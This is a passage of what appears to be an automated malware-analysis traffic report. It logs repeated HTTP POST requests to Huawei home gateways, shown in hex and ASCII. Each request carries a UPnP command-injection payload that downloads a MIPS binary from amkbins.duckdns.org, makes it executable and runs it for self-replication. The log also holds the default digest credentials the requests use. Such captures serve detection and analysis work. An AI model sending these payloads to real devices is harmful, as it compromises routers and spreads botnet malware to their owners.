xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 